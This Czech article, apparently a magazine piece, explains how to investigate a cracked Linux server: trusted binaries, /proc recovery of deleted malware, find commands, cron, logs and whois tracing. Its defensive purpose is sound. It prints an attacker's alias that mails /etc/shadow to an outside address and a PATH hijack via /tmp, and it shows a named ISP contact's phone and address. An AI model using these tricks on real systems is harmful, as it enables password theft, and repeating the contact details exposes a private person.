Jak jsem naznačil v úvodu, návštěva crackera může potkat každého z nás. Stává se tak z mnoha příčin. Nejčastějším důvodem, proč tak crackeři činí, bývá nutnost získat další počítač na síti, který skryje jejich pravou identitu. Pokud je náš stroj na dostatečně kvalitní (rychlé) konektivitě, mohou si z něj crackeři udělat tzv. zombie, což je počítač, který společně s dalšími cracklými servery útočí na dobře zabezpečený server třetí strany a snaží se tak o DoS útok. V neposlední řadě může jít o samotná data na serveru, případně o pomstu administrátora sítě, kterému jsme dali minulý týden výpověď.
DoS – Denial of Service čili odepření služby. DoS útok je způsobem narušení bezpečnosti počítačového systému. Většinou se provádí odesláním velkého množství požadavků (současně z několika počítačů), čímž dojde k zahlcení služby, kterou oběť – v našem případě server – není schopna obsloužit.
Opatrnost na prvním místě
V první řadě je nutno podotknout, že žádný z crackerů nestojí o odhalení své totožnosti. Většina administrátorů po zjištění přítomnosti vetřelce na stanici „vytrhne PC z internetu“. To nebývá příliš dobrým krokem. Na vlastní oči jsem již několikrát viděl zcela přepsaný disk náhodnými daty, když server přišel o konektivitu. Postaral se o to jednoduchý skript crackera.
Dalším z mnoha prohřešků bývá používání standardních linuxových příkazů, jako jsou ps, find, cp apod. při hledání stop po crackerovi. Valná většina útočníků po napadení Linuxu výše jmenované programy pro své účely modifikuje. Pro tyto případy je vhodné mít na serveru skrytě umístěné „bezpečné“ kopie těchto souborů (nejlépe pod jiným názvem). Zamezíme tak dalším škodám a podvodným akcím. V případě, že nemáme kopie těchto souborů k dispozici, nebo pokud se domníváme, že byly také pozměněny, snažíme se používat „náhrady“ těchto programů. Díky možnostem operačního systému existuje vždy několik alternativ, jak dosáhnout vytouženého příkazu bez použití patřičného programu. Jako demonstraci můžeme použít příkaz ps, jejž lze téměř ekvivalentně nahradit například příkazem file /proc/[0-9]*/exe.
Proč nemá smysl odpojovat počítač od konektivity, jsem vám již řekl. Stejně tak existuje dobrý důvod, proč ho přímo neodpojit od elektrické sítě. V případě, že útočník používá náš server například pro DoS útok, jediným jeho cílem bývá spustit patřičný skript či program, který samotný útok provádí. Oblíbená finta pak bývá nabourat se do systému, zahladit po sobě všechny stopy, spustit inkriminovaný program a ten pak fyzicky z disku smazat. V konečném důsledku bychom na takového crackera nikdy nepřišli. Po vypnutí či restartu systému by se program uvolnil z paměti a na médiu již fyzicky neexistoval.
Proti této kličce se lze úspěšně bránit. Pomocí „bezpečného“ příkazu ps si vypíšeme všechny běžící procesy a hledáme anomálie (dlouze běžící procesy a procesy, které neznáme). Já jsem na jednom cracklém systému nalezl proces mc s PID 14993, který běžel několik hodin. Vzhledem k tomu, že na server měl přístup pouze jeden správce, který tento program (Midnight Commander) nepoužívá, bylo to více než podezřelé. Nezbývalo nic jiného než samotný proces prověřit. Administrátor napadeného systému měl naštěstí několik dní starou zálohu kompletního stroje, a proto jsem nejprve provedl porovnání podezřelého souboru s originálem pomocí příkazu cmp. Ten neukázal žádný rozdíl, a proto jsem navštívil svůůj oblíbený adresář /proc a podíval se, zda-li běžící proces mc ukazuje na skutečný soubor Midnight Commandera.
Linux si uchovává informace o všech běžících procesech, a to i těch, kterým jsme smazali jejich binární soubor do doby, než se uvolní všechny datové bloky procesu a i-nodes. Informace o nich můžeme nalézt v adresáři /proc/`číslo PID běžícího procesu`. Na napadeném systému stačilo tedy provést:
root@victim:~#/usr/local/bezpecne_binarky/ls -l /proc/14993 | grep exe lrwxrwxrwx 1 root root 0 2006-03-31 10:55 exe -> /var/tmp/.server* root@victim:~#
Jak je vidět, proces neukazoval správně na /usr/bin/mc, ale na soubor /var/tmp/.server, a to navíc s právy superuživatele. Bylo naprosto zřejmé, že jde o podvrh. Když jsem navštívil adresář /var/tmp, žádný soubor .server jsem v něm, jak správně tušíte, nenalezl. Pomocí příkazu cp a díky adresáři /proc ovšem můžeme získat originál programu i přesto, že je již dávno smazaný. Provedeme tedy /usr/local/bezpecne_binarky/cp /proc/14993/exe /mnt/sdc3/hacked. Tím si zkopírujeme podvržený soubor k pozdějšímu zkoumání do adresáře hacked na disku sdc. Pomocí programu netstat (program netstat vypisuje informace o síti) a podle čísla PID jsem si ověřil, zda-li podvržený soubor opravdu sítově komunikoval. Pro vypsání komunikace programu s PID 14993 do konzole stačilo napsat netstat -a -p -v | grep 14993.
Hledáme trojské koně
Za ideální stav považuji, pokud má administrátor kompletní systém zálohovaný na jiném počítači. Téměř každý zálohovací program pak obsahuje parametr, kterým rozpozná rozdíly mezi jednotlivými soubory. Nás zajímají hlavně soubory, které byly nově vytvořeny, mají jiný kontrolní součet, jiná práva, případně jejich symbolické linky odkazují jinam, než by měly. V okamžiku, kdy takovou zálohu nemáme, pokusíme se najít a analyzovat co nejvíce potenciálně pozměněných souborů.
Typickým chováním crackerů bývá vytvoření tzv. trojského koně. Obyčejně se jedná o symbolický link na program, jenž má nastavená práva set-UID. Jako první tedy vyhledáme soubory s příznaky set-UID a set-GID (vynecháme adresář /proc)
find / ! -fstype proc -perm +6000 -ls
Dále vyhledáme soubory, které mají práva zápisu pro všechny uživatele
find / ! -fstype proc -perm -2 -ls
Důležité je i vyhledání souborů, které začínají tečkou. Takovéto soubory při zadání příkazu ls bez patřičných parametrů (parametr -a) nejsou vidět. Najdeme je pomocí příkazu
find / ! -fstype proc '(' -iname '.??*' -o -name '.[^.]' ')' -ls
Dobré je také zkontrolovat soubory, jejichž vlastník (či skupina) se nenachází v systému. Většinou se jedná o soubory, které si crackeři stáhli na náš server z jiného počítače.
find / ! -fstype proc '(' -nouser -o -nogroup ')' -ls
Od věci nebývá ani vyhledat naposledy změněné soubory: find / -mtime -5 -print
Hra na schovávanou
V předchozích příkladech jsme se snažili v systému najít maximum podezřelých souborů. Nemusím snad nikomu říkat, že i kdybychom některý z nich přehlédli, nemá cracker ještě vyhráno. Svůj škodlivý kód musí při startu systému (nebo v jinou stanovenou dobu) nějakým způsobem inicializovat.
Jako první samozřejmě přijdou „na ránu“ init skripty samotného systému. Vzhledem k tomu, že se nejedná o binární soubory závislé na jádře či jednotlivých knihovnách, doporučuji je místo zdlouhavého pročítání rovnou nahradit za stejné, z jiného – bezpečného systému. Pro úplnost dodávám, že jsou většinou uloženy v adresářích /etc/rc.d, /etc/init.d či /etc/rc[0-9].d.
Dalším spouštěcím mechanismem podvržených programů a trojských koní může být démon cron. Aktuálně naplánovanou tabulku akcí pro uživatele, pod kterým jste přihlášeni, si lze vypsat příkazem crontab -e. Tabulky ostatních uživatelů nalezneme obvykle v adresáři /var/spool/cron/crontabs. Věřte tomu – někdy se opravdu vyplatí si je přečíst. Na jednom z napadených systémů jsem v tabulce cron našel příkaz, jenž každý den ve 23:00 spustil na jednom z volných portů serveru démon inetd, a to s právy superuživatele. Kdokoliv se tak přes něj mohl vždy bez hesla dostat do celého systému, což bylo až na umístění skriptu v cronu velmi nenápadné a elegantní řešení.
Pro svou jednoduchost je také oblíbený jednoduchý trik s cestami a aliasy. Každý uživatel má po přihlášení v systému proměnou PATH, jež určuje pořadí vyhledávání binárních souborů v systému. Tato proměnná je pro většinu shellů uložená v souboru /etc/profile. Pro jednotlivé uživatele pak v jejich domovských složkách. U mě ji naleznete například v adresáři /home/hodza, a to konkrétně v souboru .bash_profile. Originál souboru vypadá asi takto:
PATH="/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games"
Útočník může původní řádek zaměnit za tento
PATH="/tmp:/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/games"
Ačkoliv tato změna může na první pohled vypadat nevinně, co když si útočník skryje modifikovanou verzí programu ls do adresáře /tmp? Důsledky si domyslete sami.
Obdobný trik můžeme provést také s aliasy na jednotlivé příkazy. Nejednou jsem na cracknutém serveru viděl alias na příkaz ls podobný například tomuto:
cat /etc/shadow | mail utocnik@freemail; ls -pla
Při každém napsání příkazu ls tak root odeslal crackerovi seznam všech šifrovaných hesel do systému.
Analyzujeme logy
Velmi cenné informace můžeme najít v samotných logovacích souborech systému. Pokud jste zapomněli ve svém firewallu zakázat přístup například na port 22 (SSH) určitě uvidíte v souboru /var/log/messages spoustu podobných řádků, jako jsou tyto:
Apr 3 23:11:22 victim sshd[32324]: Invalid user admin from 195.39.10.1 Apr 3 23:11:22 victim sshd[32324]: Failed none for invalid user admin from 195.39.10.1 port 40095 ssh2 Apr 3 23:11:23 victim sshd[32324]: Failed password for invalid user admin from 195.39.10.1 port 40095 ssh2 Apr 3 23:11:31 victim sshd[32327]: Invalid user guest from 195.39.10.1 Apr 3 23:11:31 victim sshd[32327]: Failed none for invalid user guest from 195.39.10.1 port 40096 ssh2 Apr 3 23:11:33 victim sshd[32327]: Failed password for invalid user guest from 195.39.10.1 port 40096 ssh2 Apr 3 23:11:36 victim sshd[32331]: Invalid user test from 195.39.10.1 Apr 3 23:11:36 victim sshd[32331]: Failed none for invalid user test from 195.39.10.1 port 40097 ssh2 Apr 3 23:11:38 victim sshd[32331]: Failed password for invalid user test from 195.39.10.1 port 40097 ssh2
V případě, že se podařilo útočníkovi prolomit některý z uživatelských účtů metodou BruteForce, nalezneme v souboru /var/log/lastlog informace o úspěšném přihlášení do systému, a to včetně přesného data, času, IP adresy a čísla konzole. /var/log/lastlog je z bezpečnostního důvodu binární soubor. Jeho obsah si musíme zobrazit příkazem last – ovšem pozor! Někteří crackeři tento soubor dokáží pozměnit tak, abychom je nedokázali vypátrat. Méně zkušení útočníci pak soubor alespoň smažou, čímž zabrání vystopování svého přístupu.
Opět můžu uvést příklad z praxe. Dostal jsem se k jednomu nabouranému serveru, u kterého útočník zapomněl soubor lastlog „pročistit“.Po napsání příkazu last na mě vykoukl přibližně následující výpis:
root@victim:~# last root tty1 Sun Apr 2 11:32 still logged in root pts/6 195.39.10.82 Sat Apr 1 14:07 - down (04:19) root tty1 Sat Apr 1 02:04 - down (02:34) root tty3 Fri Mar 31 10:54 - down (02:36) jarda pts/5 195.39.10.82 Fri Mar 31 10:54 - down (02:36)
Z výše uvedeného textu lze vyčíst, že útočník (IP 195.39.10.82) prolomil uživatelský účet jarda. V něm pravděpodobně spustil rootkit, díky kterému získal soubor s hesly. Při dalším přihlášení pak použil rovnou heslo superuživatele.
RootKit – Dříve se jednalo o program, jenž byl využíván k získání větších uživatelských práv v systému (obvykle superuživatelských). Dnes rootkity slouží především k umístění trojských koní a různých keyloggerů do systému, kde skrytě monitorují činnost uživatele.
V Linuxu ovšem existuje spousta dalších zajímavých logů, které je vhodné prozkoumat. Mezi ty nejdůležitější patří error log démonu apache, ve kterém nalezneme spoustu pokusů o prolomení bezpečnosti (například přes špatně napsané PHP skripty). Zapomenout bychom určitě neměli ani na soubor /var/log/xferlog, kam většina FTP démonů loguje veškeré pokusy o přístup a přesun souborů.
V případě, že náš server neslouží jako SMTP brána pro tisíc klientů, určitě také nakoukneme do souboru /var/log/mail.log a do adresáře /var/spool/mqueue. V lepším případě narazíme na poštu, kterou cracker nestačil odeslat. Mohla by vám v budoucnu pomoci při jeho vystopování.
Odkud jsi, cizinče?
Pokud jsme měli štěstí a vypátrali IP adresu, ze které se cracker naboural do našeho serveru, je na čase zjistit, s kým jsme měli tu čest. Nejprve se pokusíme pomocí příkazu dig zjistit, ze které domény byl proveden útok. Napíšeme tedy do konzole dig -x 195.39.10.82 a odpověď bude vypadat následovně:
… ;; QUESTION SECTION: ;82.10.39.195.in-addr.arpa. IN PTR ;; ANSWER SECTION: 82.10.39.195.in-addr.arpa. 129559 IN PTR ippavlova.fofrnet.cz. ;; AUTHORITY SECTION: 10.39.195.in-addr.arpa. 252647 IN NS uroboros.fofrnet.cz. 10.39.195.in-addr.arpa. 252647 IN NS server1.gts.cz. ...
Pro nás je podstatná sekce začínající textem ;; ANSWER SECTION:. Ihned pod těmito slovy je zapsaná hledaná IP adresa a k ní i patřičná doména. V našem případě se jedná o doménu fofrnet.cz. Do webového prohlížeče zadáme adresu fofrnet.cz a pokusíme se najít kontakt na správce dané počítačové sítě.
Bohužel ne všechny IP adresy patří do některé domény. I pro tento případ existuje řešení. Pomocí standardního programu whois se pokusíme najít abuse kontakt, případně alespoň vlastníka patřičného rozsahu. Do terminálu přitom stačí napsat magické whois 195.39.10.82 a odpovědí nám bude
Abuse kontakt – Označení e-mailové adresy (většinou e-mailová adresa správce dané sítě), na kterou se můžeme obracet v případě útoků crackery, při hromadném rozesílání spamu a virů nebo jakékoliv jiné nelegální činnosti.
…
person: Milan Kozak
address: FOFRnet Spol. s R.O.
address: I. P. Pavlova 69
address: Olomouc
address: 779 00
address: The Czech Republic
phone: +420 775 77 88 37
e-mail: kozak@fofrnet
cz
nic-hdl: MK4335-RIPE
source: RIPE # Filtered
...
Jak sami vidíte, máme před sebou jak přesnou adresu ISP tak i e-mail a telefonní číslo. Nezbývá než kontaktovat protistranu a potrestat útočníka.
Pár slov závěrem
Článek rozhodně není seznamem všech postupů, které útočníci používají. Snažil jsem se vám ukázat nejčastější techniky ukrytí crackera v systému. Zajímavostí může být, že někteří „vetřelci“ váš systém sami částečně „záplatují“ – snižují riziko napadení serveru dalším crackerem, a tím tak prozrazení sebe sama. I přestože žádný server nelze stoprocentně ochránit proti napadení, snažte se dodržovat základní zásady bezpečnosti. Používejte pokud možno šifrované protokoly a silná hesla, udržujte svůj systém neustále aktuální, sledujte bezpečnostní konference a pokuste se nainstalovat některý z IDS – na internetu jsou jich desítky.
IDS – Z anglického Intrusion Detection System. Jedná se o program, který zaznamenává pokusy o prolomení systému, které běžný firewall není schopen zachytit (neautorizované přihlášení do systému, nabourávaní se do jednotlivých služeb, skenování počítače, trojské koně, viry a další.)
Hacker, či cracker?
Některé z vás možná trápí, proč v textu používám slovo cracker namísto často používaného a nesprávně zažitého slova hacker. Dovolil bych si ocitovat část svobodné encyklopedie Wikipedia, jež dává této hádance poměrně jasnou odpověď (Wikipedia).
„Jako hackeři byli původně označováni počítačoví specialisté, programátoři s detailními znalostmi vnitřností systému či obecněji lidé, kteří se zajímali, jak přesně věci fungují. Postupem času se však tento termín začal používat pro počítačové zločince a narušitele počítačových sítí, pro které však existuje přesnější termín cracker. Dnes jsou oba pojmy často zamlčovány a jako pojem blízký původnímu významu se používá také termín geek.“
Odkazy
Bob Toxen: Bezpečnost v Linuxu – prevence a odvrácení napadení systému, ISBN 80-7226-716-7, Computer Press, Brno 2003
